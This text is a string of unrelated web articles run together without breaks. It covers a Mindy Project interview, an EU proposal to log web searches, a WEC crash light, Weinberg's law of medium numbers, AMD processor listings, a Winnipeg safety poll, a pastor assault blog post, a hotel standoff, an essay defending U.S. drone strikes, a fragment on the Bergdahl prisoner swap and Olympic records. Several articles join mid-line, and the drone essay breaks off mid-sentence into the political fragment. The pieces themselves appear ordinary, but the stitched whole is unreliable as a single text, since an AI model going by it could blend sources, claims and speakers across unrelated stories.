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someone like Adam, you know you will only have him for a limited amount of time. We adore him, though, and his “leaving” will not mean the end of Peter on the show by any means.
With Peter gone, will that open up more time to explore Morgan (Ike Barinholtz)? Hooking him up with Julia Stiles seems to be a big step forward for the character (even if she is as equally flawed as he is).
Ike is one of the funniest people on the planet, so sometimes you forget that he is just a great actor capable of emotional stories as well. I’ve been excited to show this side of him. Now that Mindy and Danny are a couple, I want to see someone single and dating. Morgan’s perfect for that.
Fox last month decided to up the episode order on season three. Did that force you to adjust your plotting for the rest of this season?
Last year we aired 16 episodes, then had two months off and aired a final six. I actually loved the feeling of a miniseries at the end of the season, and we are treating these additional episodes the same way. The stuff we have coming up is huge. Really big moves that will surprise people.
You told The New Yorker’s Emily Nussbaum earlier this year that you’d worked out backstories for Mindy’s parents, but casting has been an issue. Are you any closer to cracking that nut? Will we see them sometime this season?
We are a little closer. That’s all I can say!
On the topic of parents: I’ve been trying to get a movement started to have Fox, or any network, order a spinoff show featuring Annette (Rhea Perlman) and Dot (Jenny O’Hara), with cameos from Danny’s dad (Dan Hedaya). Can you make this happen?
Nothing would make me happier.
The Mindy Project does very well with women under 35, often winning its time slot and holding onto all of the New Girl lead-in. Among guys the same age (and older), the ratings aren’t so good. Is this something you think about when writing the show? Or can you not afford to be distracted by chasing demos?
I love men and have some of the funniest men on the planet on my show. So I’m always hoping other men will watch and see how many story lines reflect their lives.
Totally random last question: I feel like you, or at least Kelly Kapoor and Subtle Sexuality, knew Taylor Swift was going to go from country star to pop diva before even she knew it. Are you amazed at just how huge she became this year?
Taylor Swift is a Marvel Comics superhero. Even her name sounds like one.Every Google search to be logged and saved for two years under new Euro MP plan
Every Google web search could be stored for up to two years under a controversial new EU plan that has the backing of more than 300 Euro-MEPs.
'Written Declaration 29' is intended to be used as an early warning system to stop paedophiles by logging what they look for using search engines.
But civil liberty groups have hit out at the proposal which they say is a 'completely unjustifiable' intrusion into citizens' privacy.
And they claim that there is no evidence that it would even be effective in trapping paedophiles who would never use search engines like Google to look for child pornography.
Privacy fears: The declaration would mean that every web users internet searches would be logged and stored for up to two years
The declaration, sponsored by an Italian and a Slovakian MEP, claims that it is 'essential to ensure that the internet continues to afford a high level of virtual democracy, which does not present any threat to women and children.'
The motion asks for Directive 2006/24/EC to be extended to all web search engines, which would include Google, as part of a European early warning system for paedophiles.
The directive came into effect in the March following the 2005 London terror attacks and lets EU member states monitor and store personal emails and other internet activity for up to two years for counter-terrorism puposes.
Simon Davies, director of Privacy International which campaigns for tougher privacy laws, said: 'Most paedophiles operate through chatrooms and private communication rather than search engines like Google so they would not be affected,' he added.
'The number of ‘false positives’ generated by the proposal would be very high, There would be 100 entirely reasonable searches thrown up for every genuinely suspicious one.
WHAT IS A WRITTEN DECLARATION?
Written Declarations in the European Parliament work in a similar way to Early Day Motions in the UK’s Parliament. A group of up to five MEPs can submit a written declaration by presenting a text to be signed by their colleagues. One is only adopted if more than half of MEPs sign up to it.
So far 324 MEPs have signed this declaration and only a further 45 names are required before it is formally adopted. If the declaration is adopted it is forwarded to the President who will announce it in the EU Parliament
'It would pick up investigations being made by the authorities and the police themselves as well as academics. It would create a lot of white noise which would effectively cripple the police having to look into everything.
'Once the proposal is in place, then governments and authorities will be able to use the information for any purpose they choose.
'It would also be unlawful from a privacy perspective. We have well established laws in Europe that protect private communications. The idea that governments can destroy that protection is unthinkable.'
Some MEPs have already complained that they were not told about any possible privacy issues and the implications of the declaration when they signed.
They point out that the declaration only refers to the directive by its number, 2006/24/EC.
Swedish MEP Cecilia Wikström has complained that she was misled into signing and is urging her fellow MEPs to withdraw their names.
In an open letter to them, she wrote: 'The Written Declaration is supposed to be about an early-warning system for the protection of children.
‘Long-term storage of citizens’ data has clearly nothing to do with “early warning” for any purpose.
Anther Swedish MEP, Christian Engström, has also called on members of the public to contact their local MEP and explain that they had been misled before the declaration reaches the 369 name mark.
Sarah Gaskell, a spokeswoman for Open Europe, an independent think tank calling for EU reform, said the directive raised'serious privacy concerns'
She said: 'MEPs should have a serious re-think before supporting this declaration which would open up even more of citizens' personal data to monitoring and abuse.
'People already have serious concerns about the EU's role in the erosion of their civil liberties and this declaration would only serve to reinforce those views.
'The Data Retention Directive has been very controversial with some member states refusing to even implement it. Extending it to internet searches as well is very troubling, even it the purpose it is intended for is a good one.'
And Dylan Sharpe, Campaign Director of civil liberties pressure group Big Brother Watch, said: 'Monitoring every internet search is a completely unjustifiable and disproportionate intrusion on our privacy.
'The MEPs responsible for proposing this law under the guise of preventing paedophilia should be ashamed of themselves.
'With Data Retention Directive already in place, this latest move suggests that the EU Parliament is intent on controlling what we look at on the internet.'
One of the MEPs behind the motion, Anna Zaborska, sparked controversy in her native Slovakia after she was once quoted as saying that ‘Aids is God's punishment for homosexuality’.
She has also been attacked for her outspoken views on abortion after she said that she did not believe that women should have them even in rape cases.
The EU motion follows moves by the Home Office last year to use telecoms firms such as Orange and BT to build a database of everyone's phone calls and emails.
Dubbed the'snoopers charter', the £2bn Internet Modernisation Programme was kicked into the long grass by Labour after anger from civil liberty campaigners.
The coalition document released by the new Government last month was particularly vague about the programme and pledged only to 'end the storage of internet and email records without good reason'.
And it comes after Google admitted earlier this year that its Streetview cars had been inadvertently logging information about people’s online activity.
The internet giant was rapped by the Information Commissioner’s Office which said Google had committed ‘a breach of people's personal data’.The incident that befell José Maria Lopez in the #7 Toyota saw the Championship debutant bring home the badly battered TS050 before being taken to the medical centre for a precautionary check, then onwards for a precautionary scan to a local hospital.
That latter measure was a mandatory additional precaution introduced last year with the FIA ‘Medical’ light system on the LMP1 H cars.
The system measures the G-force of an incident and if it exceeds a pre-prescribed level, displays an external light to alert arriving rescue crews to the likelihood of medical intervention being required. The blue light can be seen on the left of the windscreen in this shot.
The system consists of two colour coded warning lights, connected to the FIA data logger and mounted “near the outside extinguisher switch and visible on both side of the bottom of the windscreen.”
We believe this is the first occasion that an incident has triggered the system in the FIA WEC.There’s a law of large numbers, a law of small numbers, and a law of medium numbers in between.
The law of large numbers is a mathematical theorem. It describes what happens as you average more and more random variables.
The law of small numbers is a semi-serious statement about about how people underestimate the variability of the average of a small number of random variables.
The law of medium numbers is a term coined by Gerald Weinberg in his book An Introduction to General Systems Thinking. He states the law as follows.
For medium number systems, we can expect that large fluctuations, irregularities, and discrepancy with any theory will occur more or less regularly.
The law of medium numbers applies to systems too large to study exactly and too small to study statistically. For example, it may be easier to understand the behavior of an individual or a nation than the dynamics of a small community. Atoms are simple, and so are stars, but medium-sized things like birds are complicated. Medium-sized systems are where you see chaos.
Weinberg warns that medium-sized systems challenge science because scientific disciplines define their boundaries by the set of problems they can handle. He says, for example, that
Mechanics, then, is the study of those systems for which the approximations of mechanics work successfully.
He warns that we should not be mislead by a discipline’s “success with systems of its own choosing.”
Weinberg’s book was written in 1975. Since that time there has been much more interest in the emergent properties of medium-sized systems that are not explained by more basic sciences. We may not understand these systems well, but we may appreciate the limits of our understanding better than we did a few decades ago.
Related posts:AMD's Kaveri line of accelerated processing units is almost upon us, but that doesn't mean that Richland is disappearing. The two will actually coexist for a time, as a certain shop has just shown.
Anyone dropping by the ShopBLT website may lay their eyes on certain new accelerated processing units from the A-Series.
It is those chips that we are going to take a closer look at. Normally, they wouldn't even be available for perusal, but ShopBLT has them up for pre-order, so we won't miss the chance to examine them.
Besides, AMD intends for them to start shipping in January anyway, which is just a month or so from now, so pre-orders are bound to start on other retailers by then.
There are two dual-core and two quad-core units listed there. The former pair is part of the Richland generation, the latter of the Kaveri (next generation). Thus, Piledriver and Steamroller architecture, respectively.
The A4-6320 is a dual-core unit with HD 8000 graphics, 1 MB cache memory, 3.9 GHz Turbo clock (no clue what the base clock is), and a price of $57.30 / €57.30.
The other dual-core, A6-6420K, is also a 1 MB chip with HD 8000 graphics, but with a TDP of 65W and clocks of 4 GHz and 4.2 GHz, base/boost. The price is of $75.85 / €75.85.
The A10-7700K, based on Kaveri, is a quad-core with 4 MB cache, R7 series graphics (720 MHz clock), 3.5 GHz / 3.8 GHz CPU frequency, and TDP of 95W. The price is of $167 / €167.
Finally, the A10-7850 is similar to the one above but with 3.7 GHz / 4 GHz clock and a price of $189.24 / €189.24. Also, the GPU has 512 Radeon stream processors instead of 384 cores. All the new APUs will work on socket FM2+ motherboards.Winnipeg maintains its reputation as the most unsafe city in Canada.
That's the conclusion of a poll released by Mainstreet Research that asked Canadians about their perception of safety in cities across the country.
For the second year in a row, Winnipeg ranked at the bottom of 15 urban centres in Canada, with a majority of respondents (55 per cent) saying they viewed the city as unsafe. Just 37 per cent of Canadians say they consider the city safe.
That leaves Winnipeg with a net negative score of -18, slightly higher (+3) compared with 2016.
A majority of respondents in a Mainstreet poll said they viewed Winnipeg as unsafe. Just 37 per cent of Canadians say they consider the city safe. (Austin Grabish/CBC) Winnipeg was one of only two cities to have a net negative score, with more people viewing the city as unsafe rather than safe. The other city with a net negative score was Toronto.
Manitobans' perception of Winnipeg is even worse, with 59 per cent viewing the city as unsafe and 40 per cent saying it is safe.
The poll points out that Winnipeg's crime rate rose by 13 per cent compared with 2015-2016, placing Winnipeg's crime rate fifth out of 15 Canadian cities. The crime severity index rose by 16 per cent.
Ottawa came out on top in the Mainstreet poll: 74 per cent think it is safe.
The poll, which surveyed a random stratified sample of 2,050 Canadians, has a margin of error of +/- 2.16 percentage points, 19 times out of 20.
Statistics Canada defines the crime rate as the number of Criminal Code offences reported to police out of 100,000 people in that area. The crime severity index is "a measure of police-reported crime that measures both the volume and seriousness of police-reported crime in Canada."
Winnipeg police Const. Rob Carver acknowledged officers are seeing higher amounts of violent crimes reported, but he called the poll results "skewed."
"A very high percentage of the crime that we see that's violent in nature is amongst people who are already involved in some sort of crime," he said.
Unless someone is involved directly in crime or is associated directly with people who are involved in crime, "the probability of being a victim of crime is actually pretty low," Carver said.
Media fuels percetptions: Mainstreet
Media stories shape public perception of safety of a city, said Quito Maggi, president of Mainstreet Research.
"Our theory has been the scores are mainly driven by news coverage, and it looks like the stories that are breaking through on national TV and social media has not helped Winnipeg improve its standing with Canadians," Maggi said.
It can take time for public perception of a city to shift, Mainstreet executive vice-president David Valentin added. He pointed to Toronto's so-called "Summer of the Gun" in 2005, when the city saw a string of gun crimes that damaged the city's reputation.
It took a few years for people to forget and move on to other things, Valentin said.
"When we think about the type of news that travels, it always seems to be, you know, they have this expression in news: 'If it bleeds, it leads.'"
Violent crime on the rise
Christine Brouzes, a Winnipeg social worker and director of Ikwe Safe Rides — a Winnipeg ride-sharing group — said she feels safe in the city most of the time but she takes precautions before she walks alone.
Christine Brouzes, a Winnipeg social worker, says she avoids carrying a purse or displaying valuable items when she walks alone in the city. (CBC)
"I plan ahead … I don't carry a purse, I don't walk around showing valuable goods," she said.
The perception of Winnipeg as a violent city is at least partly backed up by statistics. In July, Winnipeg police reported that more people were victims of violent crimes last year than the year before.
The Winnipeg Police Service reported an eight per cent increase in violent crimes in 2016 over the previous year, which is consistent with the provincial trend.
Attempted murder, aggravated sexual assaults, sexual assaults with a weapon and other sexual offences, including those against children, all saw dramatic increases compared with 2015.
This marks the second consecutive year that both the crime rate and crime severity index have risen.
"So there are some factors here that do show us Winnipeg might not exactly be headed in the right direction," Valentin said. "And until that changes, I think it's going to be tough to change public perception,"Over the weekend, a man named James Maxie went to church with his girlfriend… and ended up severely beating the pastor, Rev. Norman Hayes, after Hayes asked the girlfriend if she felt safe with him:
“I questioned his girlfriend in his presence if she felt safe,” Hayes said. “He was very, very upset that I’d even suggest that he would hurt her. Then he turned around and hurt me very badly.” Hayes said Maxie was argumentative and confrontational during the service. “It looked like he was looking for an argument,” Hayes said. Maxie and the girlfriend, who attends the church, approached Hayes after the service. She told police that Hayes asked her if Maxie was abusing her, and Maxie became furious, striking pastor several times in the face in the church hallway. “He came from nowhere and hit me … and knocked me down, and then he got on top of me and just kept hitting me over and over,” Hayes said. He pleaded for the beating to stop, stating he thought Maxie would kill him. “It was fortunate he did stop,” Hayes said. “I really believe my life was in danger if he hadn’t stopped hitting me in the face over and over.”
The reason I mention this story is because it turns out Maxie is a “militant atheist”:
A self-described militant Atheist, according to his Facebook page, a day before the assault Maxie shared a photo from another page titled, “I’m proud to be Atheist.” Hayes said Maxie made comments about Hitler and religion prior to the church service. In a statement Maxie wrote to police, he said he was “trying to regain my faith in God,” and went to hear Hayes’ sermon. He said he “asked questions about science and faith,” and claimed the statements offended Hayes. Maxie said Hayes said his girlfriend was “going to hell for dating me.”
It doesn’t matter what the pastor said; Maxie did something indefensible and awful, no matter how he felt afterwards. My heart goes out to Rev. Hayes for what he endured.
One thing worth noting is that Maxie has a violent past:
He previously spent two years in jail for a felonious assault conviction, and became a convicted sex offender after have unlawful sexual contact with a minor in 2008. He was also charged, but never convicted, of four counts of animal cruelty in 2004.
You could make an argument that it’s wrong to say “an atheist beat up a pastor” because it’d be much more appropriate to say “a criminal beat up a pastor.” Fair point. I completely agree.
There’s no getting around that detail, though: Maxie was an atheist.
Can we deny that? No, and we’d be foolish to pretend he wasn’t “really” an atheist just because he attended a church or was trying to regain his faith.
Does he represent all of us? Of course not.
Should we condemn his actions wholeheartedly? Absolutely.
Will people use this incident to say awful things about atheists? Yes, and they’re wrong to generalize, and we’ll deal with that later.
But here’s another, more important, question worth asking: Can we do anything to help?
Last night, I left messages with a reporter who wrote a story about the incident for a local newspaper as well as with Hayes’ church to see if he needed help with medical bills or anything like that. I’ll let you know if there’s anything we can do to show that Maxie is an anomaly and that the atheist community at-large is sickened by how Rev. Hayes was treated. We may have our differences, but violence will never settle the issues.— A standoff at the Ptarmigan Inn ended peacefully early Sunday morning.
Steamboat Springs Police Department officers were called to the Ptarmigan at approximately 4:30 a.m. Sunday after hotel staff claimed a male guest was causing a disturbance in his room.
The guest was said to have a bow and arrow, and he had been shooting arrows inside his hotel room throughout his stay, according to a news release from the police department.
The suspect was also mentally unstable and highly intoxicated, the news release said.
When officers arrived at the hotel, the suspect refused to vacate the room and threatened hotel staff and police with deadly force if they forced him to leave the room. The suspect claimed he was suicidal and would kill any police that came into the room.
In response, police set up a perimeter and cleared the fourth floor of the hotel. A police negotiator made contact with the suspect several times, but he still refused to leave. Eventually, the SWAT team was called in, the release said.
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At around 8:45 a.m. officers were on the hotel balcony, opened the balcony door and were able to gain entry and arrest the suspect.
"It was perfect," Sgt. Scott Middleton said. "There was no damage to the hotel, and no injuries to the police or the suspect. It worked out real well."
The suspect was booked on charges of reckless endangerment, violation of a protection order, prohibited use of a weapon, obstructing a police officer and third degree trespass.
The suspect's name is being withheld, pending the completion of a mental health evaluation.
To reach Luke Graham, call 970-871-4229, email [email protected] or follow him on Twitter @LukeGrahamDrones versus their Critics: A Victory for President Obama’s War Powers Legacy?[i]
Charles J. Dunlap, Jr.
Introduction
Few things have been more emblematic of the military and, indeed, political aspects of the Obama War Powers legacy than drones.[ii] As many have noted, the use of this novel weapon’s system has vastly increased during the Obama Administration, particularly in areas outside of active combat zones directly involving U.S. forces.
Moreover, although there has been robust criticism by significant parts of the legal, academic, and political communities, neither the courts nor Congress have evinced much inclination to curtail or even publically scrutinize the Administration’s use of drones. Most importantly for any democracy, the support of the American electorate for drones remains very strong, even after the tragic deaths of two hostages (including an American) in a strike in early in 2015. In effect, the President has – de facto – institutionalized (if not expanded) War Powers with respect to drone operations.
How and why did this happen? This brief essay will attempt to outline the answer, and to suggest why the critics have been largely unsuccessful in efforts to limit or ban drone strikes. It will also offer some thoughts as to the meaning of (and limitations to) the President’s War Powers legacy as it relates to drone operations.
Context and Underpinnings
Drone operations must be understood in the context of the fact that today – as has been the case during most of the post-9/11 era - Americans consider terrorism to be the top foreign policy issue, and of even more importance, “9 in 10 Americans say the U.S. should use military force to protect itself from terrorist attacks.” Given that the use of drones has been principally in the counterterrorism mode, it can be credibly asserted that the President’s program is consonant with the broader security expectations of the citizenry. This cannot help to enhance his de facto War Powers authority, especially since drones seem to be effective.
Regarding effectiveness, an illustrative (albeit not only) analysis is Jennifer Williams’ March article in Foreign Affairs. In it she reports that a newly-released trove of documents from Osama bin Laden’s lair “paint a picture of [al Qaeda as] an organization crippled by the U.S. drone campaign.” Moreover, Williams concludes that the evidence supports “the argument that U.S. President Barack Obama and other proponents of the drone program have made that the strikes are effective and that the U.S. drone program is heavily constrained.” Significantly, she notes the critically important psychological impact of drones on terrorists:
Because drone strikes have been effective and because the United States targets them carefully, al Qaeda operatives have taken to restricting their own movement, staying inside, and avoiding gathering in large groups—all activities that are fairly integral to running a successful terrorist organization. It’s not easy to train legions of recruits on how to fire RPGs, build bombs, and shoot guns with any accuracy when you have to stay inside the house and can’t have more than five people gathered together at one time. (Emphasis added.)
Does Global Disapproval Matter?
To be sure, controversy about drone effectiveness remains, but there is a growing consensus among experts that they are a useful tool, even if unpopular in some quarters, and notwithstanding that few believe they are the complete solution to terrorism and other security issues. Furthermore, the absence of another “9/11” event doesn’t seem to be lost on the public and US governmental officials. This may be why, as the New York Times reported in April, that even after the deaths of the hostages in January, support remains “deep” for drone operations not only within the Administration itself but on Capitol Hill as well. Even progressives like Senator Bernie Sanders has said he would continue the drone program.
Of course, U.S. public opinion and Congressional support are not the only relevant factors in assessing Obama’s War Powers’ drone legacy. For example, Professor Ashley Deeks recently analyzed the influence of foreign state and nonstate actors on U.S. security policy. While as will be explained below, it does look as if that the Administration modified its approach to drone operations at least in part to accommodate the views of foreign allies (among others), that effort appears to have had limited success.
However, global disapproval seems to have little strategic consequence. Consider the Pew Research Center’s 2014 survey that found that while the US’s drone (and surveillance) program was unpopular in the vast majority of nations, there is nevertheless “little evidence this opposition has severely harmed America’s overall image” – in fact, 65% still had a “favorable” view of the U.S. Thus, at least with respect to drone operations as they are currently conducted, it is unlikely that overseas opposition will necessarily limit the President’s exercise of War Powers.
Ineffectiveness of Drone Critics?
There are many reasons that drone critics have not gained the traction in the U.S. that they seemed to have enjoyed overseas. In part, this may be the result of a larger problem that many lawyers, academics and others suffer: an insufficient understanding of the technologies of war as well as the methodologies and strategies for their use.
For example, with respect to drones, Amnesty International’s highly critical 2013 report was seriously discredited by David Axe in an article (“Dear Amnesty International, Do You Even Know How Drones Work?”) that emphasized the technical inaccuracies and even impossibilities about drone operations that Amnesty’s allegations reflected. Axe’s article is important not, per se, because of whatever circulation it received, but because it much represents what knowledgeable decision-makers think when they read Amnesty ill-informed attack on drone use.
Joshua Faust did a similarly critical review of Human Rights Watch’s (HRW) 2013 report about Yemen that it entitled - misleadingly - “Between a Drone and Al-Qaeda.” What is misleading? Consider this: the report addresses six incidents where a total of 57 civilians were allegedly killed, but 41 of those civilian deaths were the result of a 2009 cruise missile attack, not a drone.
Evidently, HRW could not grasp the essential differences between the two weapons’ systems, and why drones are typically a vastly better option than cruise missiles or even Special Forces in counterterrorism situations. Faust also points out something else that often undermines critics among knowledgeable decision-makers: HRW, he says, “asserts [that] individual targets, while part of AQAP, are not militarily important enough to warrant a strike” adding the profoundly important insight “[y]et they hardly have access to the same intelligence that guides U.S. targeteers.”
In short, well-versed leaders within the Administration, the armed forces, the intelligence community, and Congress are likely aware of the factual errors of many of the critics’ complaints, and that has made them less susceptible to anti-drone arguments that might have otherwise operated to limit the President’s political ability to use the systems.
Transparency: A Disingenuous Complaint?
An oft-raised criticism of drone operations that is also foundering is the supposed lack of transparency. In a real way, this argument suggests an element of cognitive dissonance. For example, HRW, Amnesty International (as well as a more recent report by the Open Justice Society) all admit to concealing the identity – allegedly for security reasons - of “many” of the people who the organizations claim witness drone strikes (or their aftermath), making it virtually impossible to verify the allegations or even determine if the witnesses actually exist. The irony is, of course, that “security” is precisely the same reason government puts forth for limiting transparency about drone strikes.
Insofar as Americans are concerned, the body politic does not appears to be too concerned about “transparency” complaints. The US public seems to instinctively appreciate the need to secrecy in national security matters. This may explain why a majority of Americans thought that the December 2014 release of the previously-classified Senate report on torture would hurt U.S. national security.
Still, the Obama administration has made a number of efforts at transparency. The President’s May 2013 speech at the National Defense University (along with the accompanying fact sheet), outlined in general terms drone targeting policies, as well as his personal conviction that “these [drone] strikes have saved lives.” – a conclusion echoed by former Deputy Director of the CIA Michael Morell in his new (2015) book.
The Administration’s effort at transparency has, however, come with a cost. For example, the announced policy requirement of “near certainty” of no civilian casualties before an attack is authorized has no doubt encouraged adversaries to embed themselves among civilians, and may be one reason the hostages killed in January were found in the company of senior terrorist leaders, that is, the terrorists may have concluded that they were in a “legal” sanctuary of sorts.
Shifting Critics’ Strategy?
All of this may suggest from a War Powers perspective that Americans (especially given poll results) are satisfied with the effectiveness and the transparency of the Obama administration drone program. This would seem to call for a change of strategy by drone critics. In a study released in May, two political scientists pointed out that “criticisms focusing on the effectiveness of strikes [have] had little impact; only those highlighting normative principles embodied in international legal principles significantly altered public attitudes toward drone warfare.” [Emphasis added].
It is not surprising, therefore, that some critics have been reduced to obfuscating the realities with respect to drone strikes, apparently in the hopes of audiences drawing counterfactual conclusions as to adherence to “international legal principles.” For example, in a July 2015 opinion piece published by the New York Times, Pratap Chatterjee – an Amnesty International board member – made this statement:
In 646 probable drone strikes in Pakistan, Somalia and Yemen recorded by the Bureau of Investigative Journalism [BIJ], as many as 1,128 civilians, including 225 children, were killed — 22 percent of deaths. The New America Foundation’s estimates are lower, but suggest a civilian death rate of about 10 percent.
What he fails to point out is that even assuming the figures are true, the vast majority of the casualties that the drone-hostile BIJ claims actually occurred more than four years ago. As William Saletan wrote in Slate in April (shortly after reports surfaced about the deaths of two hostages in a January drone strike):
If you look at long-term data from Pakistan, you’ll see a clear trend. Since 2012, drone strikes have declined. But civilian fatalities, at a far more acute rate, have virtually disappeared. A year ago, BIJ reported, “In the past 18 months, reports of civilian casualties in attacks on any targets have almost completely vanished … despite a rise in the proportion of strikes that hit houses.”
To be sure, civilian casualties are hardly definitive or only criteria that might evidence a lack of adherence to “international legal principles,” but they are often used to suggest the same because of their potential emotional impact, even if they are, in fact, legally justifiable. There are, however, some additional problems with a strategy intended to erode support for drone operations based on inferences of illegality if not outright claims of the same.
Counters: Why Better Educated Americans Support Drone Strikes
It is quite noteworthy that support of drone strikes among Americans soars as educational levels rise. Specifically, the May 2015 Pew survey shows that among those with a high school degree or less, only 49% approved of drone strikes (with 42% disapproving). However, among those with a college degree or more, a whopping 67% approved, with just 27% disapproving. This plausibly suggests that education about the actualities of drone operations is an effective counter to many critics’ contentions.
There is another, perhaps even more important problem with an anti-drone strategy that depends upon showing a lack of adherence to “international legal principles.” The Pew survey also found that “despite ongoing concerns that drone attacks endanger lives of innocent civilians” only 29% of Americans were “very concerned” about whether the strikes were conducted legally. It is hard, frankly, to fully interpret this statistic as it is not clear whether people are indifferent to legality, or are simply satisfied that those conducting the strikes are doing so lawfully.
To the extent that the drone strikes are conducted by the U.S. armed forces (or are perceived to be) the poll results as to legality may be a reflection of the public’s confidence in the military itself. In Gallup’s annual poll of confidence in institutions (June 2015), the military was – as has been the case for several years – the institution in American society in which the public had the most confidence, far exceeding even such entities as organized religion and the Supreme Court, not to mention Congress and the Presidency itself.
It appears that for its part the Administration is satisfied that it has successfully made its legal case. Steven Preston, the former CIA General Counsel and recently retired as the DoD General Counsel, contended in an April 2015 presentation that one result of a “series of speeches” by various governmental officials was that:
You no longer find, in the popular press or in professional discourse, the same routine references to the U.S. Government’s counterterrorism operations as being “illegal.” Not that the Administration has persuaded everyone or will ever satisfy all of its critics. But the lawfulness of our government’s efforts to counter foreign terrorist threats is now better understood, and more widely accepted, at home and abroad.
Of course, the domestic legal authority for drone strikes would be central to any analysis of the President’s War Powers legacy viz-a-viz drones. It is beyond the scope of this brief essay to fully explicate this issue, but it might be observed that the drone program’s origination in the Bush Administration’s “Article II”-centric rationale, coupled with the Obama Administration’s increasingly tenuous AUMF/legislative-centric rationale (and occasional overt reference to Article II authority), has over time produced something a historical “gloss” favoring an intrinsic Presidential authority basis.
Consider this: In discussing the possible domestic legal bases for U.S. air and drone strikes supporting the African Union Mission to Somalia (AMISOM) last July, Professor Bobby Chesney noted the difficulty of fitting a legal rationale within the existing 2001 AUMF. He further acknowledged the shift by the Obama Administration towards an Article II rationale by pointing out “how broadly the Obama administration construed its independent Article II authority to direct airstrikes (even if not boots-on-the-ground) in Iraq during the first few months of airstrikes against ISIL.” But most importantly, Chesney concluded his analysis by asking with reference to the precise legal basis: “Does anyone care?” In answering his own question, he says:
It's not clear anyone really does. I may have missed it, to be sure, but I've not seen this issue raised anywhere else so far. And I doubt this post is going to set off any real debate. This is, I think, an unhealthy state of affairs.
It might well be said that Professor Chesney’s assessment might also be applied with equal or greater emphasis to the drone program writ large.
Concluding Observations
The American experience with drones has clear implications for Obama’s War Powers legacy. To reiterate, given widespread US public support for a program that began during a Republican administration and markedly expanded during a Democratic administration – with almost no interference from either Congress or the courts - it appears that the ‘historical gloss’ plainly supports a nonpartisan argument that it is reflective of the President’s War Powers authority.
Remarkably, the citizenry seems to accept any reasonably conceivable legal basis, be it either an aggressive construct of Article II power, or from tenuous statutory authority. There is, however, a major caveat: Public support might evaporate if there was documented – and credible - evidence of ineffectiveness and/or, significant evidence of excessive and unwarranted civilian casualties.
The real lesson as to War Powers that could be drawn from the drone program might be that Americans are very pragmatic as to how a President exercises his War Powers, that is, they are less concerned about the technical legal basis as they are about success against authentic threats. Moreover, Americans are largely unmoved by foreign disapproval – even from allies – where they perceive the Nation’s security to be threatened.
Finally, critics would do well to avoid the sometimes neo-Luddite flavor of their objections to military force employing drone technology The fundamental idea of using technology to substitute |
this for three years. She said Congress has been informed of this along the way. I don’t know who they were talking to. I have not been a part of this, and I’m the chairman of the committee.” McKeon was referring to National Security Adviser Susan Rice, who defended the legality of the administration’s actions on ABC’s “This Week” on Sunday.
( Also on POLITICO: Rogers: 'A price' for U.S. soldiers)
McKeon said that his committee will hold hearings on the issue, saying he hopes Democrats as well as Republicans will help investigate whether the White House violated the NDAA. “This is not a partisan issue. It’s just a matter of the law and breaking the law and not informing the Congress according to the law,” he said.
On the Senate side, Sen. Lindsey Graham (R-S.C.) wrote Senate Armed Services Committee Chairman Carl Levin (D-Mich.) requesting an immediate hearing on the deal.
“While I appreciate that an American was released from captivity, this decision by the Obama administration has serious implications for our future national security,” he wrote in the letter obtained by Fox News. Graham is a member of the committee.
McCain, echoing Graham, supports a hearing on the deal.
“It’s worthy of a hearing,” McCain told reporters. “But, it’s done.”
( Also on POLITICO: Rice: 'Sacred obligation' led to swap)
While the Arizona Republican isn’t concerned with the legality of the prisoner swap, he nevertheless opposes the deal.
He said the negotiated release of Bergdahl “poses a great threat to the lives and well-being of American servicemen and women in the future.”
“I would not have made this deal. I would have done everything in my power to repatriate him and I would have done everything I possibly could. But I would not have put the lives of American servicemen at risk in the future,” McCain said, raising concerns about Bergdahl’s record in the military. “There’s some really damning things about the reaction of the military on this.”
Bill Kristol, conservative commentator and editor of The Weekly Standard, said on Monday that the new reports make the deal suspect.
( WATCH: What you didn’t know about Obama)
“I don’t think he [Obama] should have” made the deal, Kristol said on “Morning Joe.” “He may well pay a price.”
“There’s a lot of reporting that he wasn’t taken in battle, he seems to have deserted or at least gone AWOL, he may have cooperated with the enemy after they captured him, soldiers died trying to find him,” Kristol said, adding that there’s a high “degree of anger” from soldiers that served with him.
“It’s one thing to trade terrorists for a real POW, for someone who’s taken on the battlefield and fighting honorably for our country,” Kristol said. “It’s another thing to trade away five high-ranking terrorists for someone who walked away.”
The Wall Street Journal also slammed the agreement in an editorial Monday morning, saying it sets a dangerous precedent for American prisoners of war in the future and underscores the administration’s “weakness.”
“The real problem with this prisoner swap is the message it conveys about American weakness, especially in the context of Mr. Obama’s retreat from Afghanistan and elsewhere,” the editorial said. “The world’s bad actors have long perceived that the U.S. doesn’t negotiate over hostages.”
“The Taliban swap will change that perception and increase the likelihood that more Americans will be grabbed, not least in Kabul,” the Journal said later, adding that it was possible for the Taliban to demand the release of alleged 9/11 plot architect Khalid Sheikh Mohammed in future deals.With the 2012 London Games fast approaching, sports fans and pundits alike are wondering how many records athletes will break this year. And it's hard to blame them — after all, world records were broken in 33 separate events four years ago in Beijing. So why are the experts predicting far fewer records this time around?
Some experts say there's a hard biological limit to just how fast a person can run. Or how high someone can jump. How soon will we reach the physical limits to our ability to break Olympic records?
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Records were made to be broken
Writing in Significance Magazine, Gavin Thompson has noted that today's athletes would scarcely resemble those from a century ago. The winner of the men's 5,000m in Beijing ran at a pace that won the 1,500m in 1908, while the winner of the women's marathon would have won the men's race of 1908 by an entire half hour. There's no question that today's athletes are bigger, stronger, and faster than those of the past — and there's good reason for it.
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As Thompson notes, athletes have benefited from technological and medical advancements. Combine that with a significantly larger pool of world-class athletes, and you get a competitive class of competitors unlike anything seen before. Contributing to this mix are such things as first-class trainers and training facilities, the application of sports science, competition calendars, and standardized regulations.
But there's also a mathematical logic to the setting of new standards. The early days of a sport tends to see records broken regularly and by significant margins, but as athletes get better and their techniques continually refined, records start to become few and far between. World records tend to follow a logical progression which sees them plateau after a certain period of time.
Hitting limits?
And this is exactly where many athletes find themselves now — and much of it may have to do with the hitting of hard, biological limits. According to Thompson, a number of studies have suggested that the limits on human capacities peaked in track-and-field in 1988. The subsequent era seemed to confirm this, when it took eight athletes 16 years (1991 to 2007) to shave 0.16 seconds off the 100m dash record.
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But then a strange thing happened, and his name was Usain Bolt. The Jamaican sprinter managed to accomplish the exact same feat in just one year. In 2008, at the Beijing Olympic Games, Bolt ran the 100m in just 9.69 seconds, setting a new world record. A year later, Bolt surpassed his own feat with an astonishing 9.58-second run at the 2009 Berlin World Championships.
The accomplishment showed how difficult it is to predict limits on performances, and how athletes are continually able to take their sport to the next level.
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Bolt isn't the only example. As noted, 33 different sports had records broken in Beijing, which would seem to throw conventional thinking out the window. Specifically, there was one in women's team archery, four in weightlifting, five in athletics, two in track cycling, and the remainder in swimming.
The physics of it
